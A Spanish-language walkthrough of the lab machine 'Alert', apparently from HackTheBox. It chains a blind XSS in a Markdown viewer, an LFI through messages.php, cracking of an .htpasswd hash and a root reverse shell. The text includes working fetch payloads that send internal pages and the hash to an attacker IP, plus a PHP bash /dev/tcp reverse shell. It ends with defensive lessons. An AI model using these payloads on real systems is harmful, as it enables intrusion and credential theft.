Alert
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Alert es una máquina Linux fácil que encadena cliente y servidor. La web es un Markdown Viewer vulnerable a XSS: el botón de "compartir" entrega el.mda un usuario interno que lo renderiza, así que con unfetchleemos recursos a los que no llegamos y descubrimos quemessages.php?file=es un LFI. Con él sacamos el.htpasswddestatistics.alert.htb, crackeamos el hash dealberty entramos por SSH.albertestá en el grupomanagement, que puede escribir en el directorio de un monitor web que corre como root: dejar ahí un.phpda shell como root.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que da una pista rápida del sistema operativo: valores cercanos a 64 suelen indicar Linux y cercanos a 128, Windows.
ping -c 1 10.10.11.4464 bytes from 10.10.11.44: icmp_seq=1 ttl=63 time=37.2 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Barremos los 65535 puertos TCP con un escaneo SYN (-p-), acelerado con --min-rate y sin resolución DNS ni ping (-n -Pn), para no perder ninguno; sobre los que abran, un -sCV dirigido identifica servicio y versión (dos fases: descubrir rápido, luego perfilar):
El escaneo no se teclea entero cada vez: vive en una función del ~/.zshrc llamada jmap, que pide la IP y siempre lanza el mismo barrido SYN completo, guardando además la salida en formato greppable (-oG scan) para poder procesarla después:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}Es decir, un sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.44 -oG scan sin teclear la retahíla de flags:
jmap
[+] Introduce una IP
10.10.11.44
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-27 14:56 CET
Initiating SYN Stealth Scan at 14:56
Scanning 10.10.11.44 [65535 ports]
Discovered open port 80/tcp on 10.10.11.44
Discovered open port 22/tcp on 10.10.11.44
Completed SYN Stealth Scan at 14:56, 15.19s elapsed (65535 total ports)
Not shown: 64767 closed tcp ports (reset), 766 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63El syn-ack ttl 63 de cada puerto confirma por segunda vía lo que ya apuntaba el ping. El fichero scan que deja jmap lo consume otra función del ~/.zshrc, extractPorts, que extrae la IP y la lista de puertos abiertos y, de paso, los copia al portapapeles:
extractPorts () {
echo -e "Extracting information..."
ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
{
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
} >> extractPorts.tmp
echo "$ports" | xclip -sel clip
echo -e "Ports copied to clipboard\n"
cat extractPorts.tmp
rm extractPorts.tmp
}extractPorts scan
Extracting information ...
IP Address: 10.10.11.44
Open ports: 22,80
Ports copied to clipboard
IP Address: 10.10.11.44
Open ports: 22,80Dos puertos: SSH y HTTP. La segunda fase la lanza jmap2, un envoltorio de -sCV que solo pide IP y puertos (justo lo que acaba de quedar en el portapapeles):
jmap2 () {
if [ "$#" -ne 2 ]
then
echo "Uso: jmap2 <ip> <ports>"
return 1
fi
local ip="$1"
local puertos="$2"
nmap -p"$puertos" -sCV "$ip"
}jmap2 10.10.11.44 22,80
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 2b:af:cd:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelUn Ubuntu 20.04 corriente (OpenSSH 8.2p1 y Apache 2.4.41 son sus versiones de repositorio), sin nada explotable por versión. Lo aprovechable es el http-title: el servidor no sirve contenido en la IP, redirige a http://alert.htb/, así que hay que añadir el dominio al /etc/hosts para ver el sitio real.
sudo nano /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.36 yummy.htb
10.10.11.44 alert.htbYa con el vhost resuelto, whatweb identifica un Apache sirviendo el sitio:
whatweb http://alert.htb
http://alert.htb [302 Found] Apache[2.4.41], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], RedirectLocation[index.php?page=alert], Title[Alert - Markdown Viewer]
http://alert.htb/index.php?page=alert [200 OK] Apache[2.4.41], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], Title[Alert - Markdown Viewer]Subdominios y rutas
El fuzzing por vhost descubre statistics.alert.htb, que responde 401 Unauthorized (autenticación básica de Apache): habrá que conseguir credenciales para él.
gobuster vhost -u http://alert.htb -w directory-list-2.3-medium.txt --append-domain | grep -v 301
Found: statistics.alert.htb Status: 401 [Size: 467]El hallazgo se contrasta con wfuzz, que hace lo mismo por la cabecera Host y filtra por código de estado en vez de por tamaño:
wfuzz -u http://alert.htb -H "Host: FUZZ.alert.htb" -w directory-list-2.3-medium.txt --hc=301,400 -t 200
Target: http://alert.htb/
Total requests: 220560
ID Response Lines Word Chars Payload
000000952: 401 14 L 54 W 467 Ch "statistics"Dos herramientas distintas, el mismo 401: el subdominio existe y guarda algo detrás de una autenticación.
Sobre el dominio principal, dirsearch da la primera foto del árbol de la aplicación:
dirsearch -u http://alert.htb --exclude-status=404,403
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://alert.htb/
[15:07:46] 200 - 24B - /contact.php
[15:07:47] 301 - 304B - /css -> http://alert.htb/css/
[15:08:08] 301 - 309B - /messages -> http://alert.htb/messages/
[15:08:32] 301 - 308B - /uploads -> http://alert.htb/uploads/Conviene anotar /messages/: es un directorio, y más adelante será el primer sitio al que apuntemos con el XSS (y el primero que nos cierre la puerta).
Un fuzzing de directorios sobre alert.htb saca dos recursos PHP, index.php y messages.php:
gobuster dir -u http://alert.htb -w directory-list-2.3-medium.txt -b 404,403 -x php
/contact.php (Status: 200) [Size: 24]
/uploads (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
/index.php (Status: 302) [Size: 660] [--> index.php?page=alert]
/messages.php (Status: 200) [Size: 1]XSS en el Markdown Viewer
El servicio y la prueba de XSS
alert.htb es un Markdown Viewer: sube ficheros .md y los renderiza. Renderizar Markdown de un desconocido sin sanear el HTML resultante es la receta de un XSS. Lo confirmamos con un clásico que dispara JavaScript sin necesidad de <script>:
echo "<img src='0' onerror='alert(\"xss\")'>" > xss.md
cat xss.md
<img src='0' onerror='alert("xss")'>El .md contiene un <img> con un src inválido: el navegador falla al cargarlo y ejecuta el onerror. Lo subimos por el formulario "View Markdown" del visor:



Compartir el Markdown a un usuario interno
El visor tiene un botón "Share Markdown" que genera un enlace (visualizer.php?link_share=...). Si hay forma de compartir un enlace, probablemente haya alguien que lo abra. Y lo hay: el formulario Contact Us acepta mensajes. La hipótesis es que un usuario (o un bot) revisa esos mensajes y, al hacerlo, renderiza nuestro Markdown.


Ese enlace es la pieza clave: el .md malicioso ya no depende de nuestra sesión, cualquiera que lo abra ejecuta el JavaScript.
Para comprobarlo montamos un .md que haga un fetch a un recurso de nuestra máquina. Si ese recurso se pide, es que alguien ha abierto el enlace:
echo exploit > exploit
echo "<script>fetch('http://10.10.15.39/exploit')</script>" > xss.md
cat xss.md
<script>fetch('http://10.10.15.39/exploit')</script>Se sube al visor y se genera su enlace con Share Markdown:

Que a nosotros nos responda Error: Invalid file. da igual: el objetivo no es verlo nosotros, sino que lo abra quien revisa los mensajes. Antes de enviarlo hay que levantar el servidor HTTP que haga accesible el recurso exploit al que apunta el fetch:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...Ahora sí, el enlace se pega en el cuerpo del formulario Contact Us y se envía:

Con el servidor HTTP a la escucha, recibimos la petición desde la IP de la víctima: el XSS ciego funciona.

10.10.11.44 - - [28/Dec/2024 18:54:26] "GET /exploit HTTP/1.1" 200 -LFI a través del XSS
Descartar el robo de sesión
Con un XSS confirmado, el reflejo es robar la cookie de sesión del usuario que abre el mensaje. Aquí no hay nada que robar: el almacenamiento del sitio para http://alert.htb está vacío, sin cookies de sesión ni tokens.

Eso descarta la vía cómoda y obliga a cambiar de enfoque: si no podemos suplantar al usuario, usaremos su navegador como proxy para leer lo que él sí alcanza y reenviárnoslo.
messages.php?file=
El primer intento apunta a /messages/, y falla: el bot nos devuelve un 403 Forbidden de Apache.
<script>
fetch("http://alert.htb/messages/")
.then(r => r.text())
.then(d => fetch("http://10.10.15.39:4444/", { method:"POST", body:d }));
</script>POST / HTTP/1.1
Host: 10.10.15.39:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Origin: http://alert.htb
Referer: http://alert.htb/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at alert.htb Port 80</address>
</body></html>
El intento no sirve para leer el directorio, pero confirma dos cosas importantes. La primera, que quien abre los mensajes es un navegador headless real (HeadlessChrome/122.0.6261.111), no un simple curl: por eso se ejecuta nuestro JavaScript. La segunda, que la exfiltración por POST funciona de vuelta, así que el canal es bueno aunque el recurso elegido no lo fuera.
Cambiando el objetivo al fichero messages.php en vez del directorio, la respuesta ya trae algo: acepta un parámetro file, candidato a LFI:
<script>
fetch("http://alert.htb/messages.php")
.then(r => r.text())
.then(d => fetch("http://10.10.15.39:4444/", { method:"POST", body:d }));
</script>Esta vez el receptor no es un servidor HTTP sino un nc en el 4444, que enseña la petición POST entera:
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.44] 42170
POST / HTTP/1.1
Host: 10.10.15.39:4444
Content-Length: 115
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Origin: http://alert.htb
Referer: http://alert.htb/
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>El propio HTML enseña cómo se usa el fichero: un enlace messages.php?file=<nombre>. Ese parámetro es el candidato a LFI.
Leer la configuración de Apache y el .htpasswd
Apuntando file con ../ a la configuración por defecto de Apache confirmamos el LFI y, sobre todo, vemos dónde vive la contraseña del subdominio protegido:
fetch("http://alert.htb/messages.php?file=../../../../../../etc/apache2/sites-enabled/000-default.conf")Se repite el ciclo entero: nuevo .md, nuevo enlace y otro mensaje por el formulario.



<pre><VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</pre>De paso queda explicado el RewriteRule que redirigía la IP a alert.htb en el escaneo inicial.
La configuración de statistics.alert.htb usa /var/www/statistics.alert.htb/.htpasswd. Repetimos el LFI apuntando a ese fichero y exfiltramos su contenido:
fetch("http://alert.htb/messages.php?file=../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(r => r.text())
.then(d => fetch("http://10.10.15.39:4444/?data=" + encodeURIComponent(d)));
El contenido llega URL-encodeado, porque lo mandamos como parámetro de query con encodeURIComponent. Se revierte con un sed que convierte los %XX en escapes hexadecimales y un printf "%b" que los interpreta:
echo '%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A' \
| sed 's/+/ /g; s/%/\\x/g' | xargs -0 printf "%b"
Ya en claro, el .htpasswd contiene el hash de albert (formato Apache MD5, $apr1$):
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/Shell como albert
Crackear el hash
john con rockyou y el formato md5crypt-long revienta el hash:
john --format=md5crypt-long --wordlist=rockyou.txt hash
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:00 DONE (2024-12-27 19:17) 11.11g/s ...
Session completed.La contraseña es manchesterunited, y esta vez sí abre SSH:
ssh albert@alert.htb # manchesterunited
albert@10.10.11.44's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
...
Last login: Sat Dec 28 23:16:40 2024 from 10.10.14.151
albert@alert:~$Shell como root
El grupo management
id muestra que albert pertenece al grupo management, lo que sugiere acceso a recursos compartidos:
id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)Buscamos qué pertenece a ese grupo:
find / -group management 2>/dev/null
/opt/website-monitor/config
/opt/website-monitor/config/configuration.php
/opt/website-monitor/config/mali.php
/opt/website-monitor/config/configuration.php.saveAparecen ficheros de un monitor web en /opt/website-monitor. La lista sola no dice de quién es cada uno, y hacer un ls -l ruta por ruta es tedioso, así que se envuelve el find en un bucle:
for f in $(find / -group management 2>/dev/null); do ls -l "$f"; done
total 16
-rwxrwxr-x 1 root management 49 Dec 29 02:13 configuration.php
-rwxrwxr-x 1 albert management 76 Dec 28 23:40 configuration.php.save
-rwxrwxr-x 1 albert management 5494 Dec 28 23:18 mali.php
-rwxrwxr-x 1 root management 49 Dec 29 02:13 /opt/website-monitor/config/configuration.php
-rwxrwxr-x 1 albert management 5494 Dec 28 23:18 /opt/website-monitor/config/mali.php
-rwxrwxr-x 1 albert management 76 Dec 28 23:40 /opt/website-monitor/config/configuration.php.saveEl primer bloque de tres líneas es el ls -l del propio directorio config, que también sale en la lista del find; las tres siguientes son cada fichero por su ruta completa. La misma información se obtiene volcando el listado a un fichero y leyéndolo con while read:
file=$(find / -group management 2>/dev/null); while read -r file; do ls -l "$file"; done < file
total 16
-rwxrwxr-x 1 root management 49 Dec 29 02:15 configuration.php
-rwxrwxr-x 1 albert management 76 Dec 28 23:40 configuration.php.save
-rwxrwxr-x 1 albert management 5494 Dec 28 23:18 mali.php
-rwxrwxr-x 1 root management 49 Dec 29 02:15 /opt/website-monitor/config/configuration.php
-rwxrwxr-x 1 albert management 5494 Dec 28 23:18 /opt/website-monitor/config/mali.php
-rwxrwxr-x 1 albert management 76 Dec 28 23:40 /opt/website-monitor/config/configuration.php.saveDe los tres ficheros, el interesante es config/configuration.php: propiedad de root pero del grupo management, al que pertenecemos.
Directorio escribible por grupo + servicio root
Antes de tocar configuration.php conviene ver qué tiene dentro:
cat /opt/website-monitor/config/configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>Son 49 bytes de PHP, propiedad de root pero escribibles por el grupo, así que lo evidente es inyectarle código. Y no funciona: al escribir en él y volver a leerlo, reaparece el contenido original.

albert@alert:~$ echo 'ejemplo' > /opt/website-monitor/config/configuration.php
albert@alert:~$ cat /opt/website-monitor/config/configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>Hay un proceso que lo restaura, así que ese fichero concreto es un callejón sin salida. La pista está un nivel más arriba: mirando el directorio padre, config/ es drwxrwxr-x root management, es decir, propiedad de root pero escribible por el grupo management al que pertenecemos.

albert@alert:~$ ls -l /opt/website-monitor/
drwxrwxr-x 2 root management 4096 Dec 29 02:45 config
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updatesTodo lo demás pertenece a root:root; config es la única entrada del grupo management.
Ese es el matiz que rompe la máquina: da igual que el fichero esté protegido y se restaure, porque poder escribir en el directorio permite crear ficheros nuevos, y el monitor web los sirve como root. Es un directorio escribible por grupo en un servicio root: en vez de pelearnos con configuration.php, dejamos al lado un .php nuevo con una reverse shell.
Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 4444
listening on [any] 4444 ...echo "<?php exec(\"/bin/bash -c 'bash -i >/dev/tcp/10.10.15.39/4444 0>&1'\"); ?>" \
> /opt/website-monitor/config/revshell.php
albert@alert:~$ cat /opt/website-monitor/config/revshell.php
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.15.39/4444 0>&1'"); ?>
albert@alert:~$ ls -l /opt/website-monitor/config/revshell.php
-rwxrwxr-x 1 albert management 73 Dec 29 02:45 /opt/website-monitor/config/revshell.phpFalta saber por dónde se sirve el monitor. netstat lo sitúa en el 8080, escuchando solo en loopback:
netstat -tuln
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTENQue esté atado a 127.0.0.1 explica por qué no salió en el escaneo inicial y por qué el curl hay que lanzarlo desde dentro de la máquina, ya con la sesión de albert. Con nc a la escucha en el 4444, pedimos nuestro .php para que el monitor (root) lo ejecute:
nc -nlvp 4444
curl http://127.0.0.1:8080/config/revshell.php
albert@alert:~$ curl http://127.0.0.1:8080/config/revshell.phpEl curl se queda colgado (el exec del PHP bloquea la respuesta) mientras el website-monitor, que corre como root, ejecuta nuestro revshell.php y conecta de vuelta al listener:

listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.44] 44438
whoami
root
script /dev/null -c bash
Script started, file is /dev/null
root@alert:/opt/website-monitor/config# cd
root@alert:~# ls
root.txt scripts
root@alert:~# cat root.txt
a020edcc2c610cf3030013f285fc3486La shell llega en el directorio config, desde donde el monitor cargó el .php. Un script /dev/null -c bash la vuelve interactiva y root.txt queda a un cat de distancia:

Cadena de ataque
web :80 (Apache) → alert.htb → Markdown Viewer (XSS) + messages.php
│ Share Markdown → Contact Us → bot HeadlessChrome renderiza el .md
▼
XSS ciego → fetch interno → messages.php?file= (LFI)
│ 000-default.conf → ruta del .htpasswd → exfiltrar .htpasswd
▼
albert:$apr1$... → john (md5crypt) → manchesterunited → SSH
│ id → grupo management → /opt/website-monitor/config (escribible)
▼
revshell.php + curl 127.0.0.1:8080 → servicio root → root (root.txt)Lecciones aprendidas
- Renderizar Markdown ajeno es ejecutar HTML ajeno. Sin sanear la salida, el visor permitía XSS; y como un bot abría los mensajes, ese XSS era un navegador prestado dentro de la red. Escapar el HTML y aplicar una CSP estricta.
- Un XSS no necesita robar cookies para hacer daño. Aquí no había sesión que robar; bastó usar el
fetchdel bot para leer un recurso interno y descubrir un LFI. - Un
.htpasswdes una contraseña a unjohnde distancia. El hash Apache MD5 dealbertcayó conrockyou. Contraseñas robustas también en la autenticación básica. - Cuidado con los directorios escribibles por grupo que carga un servicio root. El fichero estaba protegido, pero el directorio no: crear un
.phpahí dio ejecución como root. Los directorios servidos por procesos privilegiados no deben ser escribibles por grupos de usuarios.